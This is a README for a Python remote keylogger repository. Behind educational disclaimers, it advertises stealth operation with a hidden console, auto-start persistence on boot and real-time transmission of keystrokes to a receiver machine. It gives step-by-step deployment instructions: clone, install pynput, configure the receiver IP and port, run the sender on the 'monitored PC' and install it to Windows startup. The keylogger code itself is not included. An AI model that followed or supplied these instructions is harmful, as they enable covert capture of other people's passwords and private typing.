⚠️ IMPORTANT LEGAL DISCLAIMER: This project is for EDUCATIONAL PURPOSES ONLY. Use only on devices you own or have explicit permission to monitor. Unauthorized use may violate local laws and regulations. The author is not responsible for misuse.
A Python-based remote keylogger that demonstrates socket-based communication to transmit keystrokes between machines on the same local network. This repository exists to teach concepts in network programming, low-level input handling, and the ethical implications of monitoring tools.
THIS SOFTWARE IS FOR LEGAL, EDUCATIONAL USE ONLY.
- Use only on devices you own or have explicit permission to monitor.
- Always obtain written consent where appropriate.
- Understand and comply with your local laws regarding computer monitoring and privacy.
- Do not use for malicious purposes.
- Real-time keystroke transmission via socket communication
- Cross-platform compatibility (Windows, macOS, Linux)
- Stealth operation (hidden console window; for demonstration only)
- Auto-start capability on system boot
- Special key detection (function keys, modifiers, enter, backspace, etc.)
- Timestamps for activity logging
- Secure stop combination (Ctrl+Shift+R) to halt monitoring
- Python 3.6+
- Required packages:
pynput
- On Windows, optional package:
pywin32
for some window/console behaviors
# Clone the repository
git clone https://github.com/ritimx/Malware_pyKeylogger.git
cd Malware_pyKeylogger
# Install dependencies
pip install -r requirements.txt
Receiver (your laptop)
- Find your IP address using
ipconfig
(Windows) orifconfig
(macOS/Linux). - In the script, set:
SERVER_MODE = True
SERVER_IP = "<your-laptop-ip>"
SERVER_PORT = 12345
- Run the receiver first:
python keylogger.py
Sender (monitored PC)
- In the script, set:
SERVER_MODE = False
SERVER_IP = "<receiver-ip>"
SERVER_PORT = 12345
- Run the sender on the monitored PC:
python keylogger.py
Stop the keylogger on the monitored PC
- Press
Ctrl+Shift+R
to stop the logger.
Edit these variables in keylogger.py
as needed:
SERVER_MODE = True # True for receiver, False for sender
SERVER_IP = "192.168.1.100" # Receiver's IP address
SERVER_PORT = 12345 # Communication port
Basic operation
- Start the receiver script on your laptop.
- Start the sender script on the monitored PC.
- Keystrokes will appear in real-time on the receiver (for demonstration only).
Auto-start installation (Windows demonstration)
# Install to startup (Windows)
python file_name.py --install
# Uninstall from startup
python file_name.py --uninstall
Note: Auto-start behavior is platform dependent. Exercise extreme caution and obtain permission before configuring auto-start on any device.
Test the network connection with the included simple client/server test (see script comments) before using the full keylogger functionality. Only run tests in controlled, permitted environments.
- Communication in this educational example occurs over the local network with no encryption. For any real deployment (where legally permitted), always add encryption (e.g., TLS) and authentication.
- Firewall rules may need to be adjusted to allow initial connections during testing.
- This repository is designed as an educational demonstration — do not use it to invade privacy or perform unauthorized monitoring.
Contributions are welcome if they align with the educational goals of the project. Please focus on:
- Improving documentation and educational explanations
- Adding security features for demonstration (e.g., encrypted transport, authentication)
- Adding tests and safer-by-default behavior
- Bug fixes
When contributing, ensure changes do not make the project easier to misuse.
If you find security vulnerabilities in this project:
- Do not exploit them maliciously.
- Report them responsibly (open an issue or contact the repository owner).
- Provide enough detail to reproduce and fix the issue.
This project demonstrates:
- Socket programming in Python
- Low-level keyboard input handling using
pynput
- Basic network communication patterns
- System integration (auto-start examples, console/window interactions)
- Ethical and legal considerations around monitoring software
- For legal questions: consult a qualified legal professional.
- For technical issues: open a GitHub issue in the repository.
- For educational guidance: start a discussion on the repository or reach out via GitHub Discussions.
This project is released under the MIT License. See LICENSE
for details.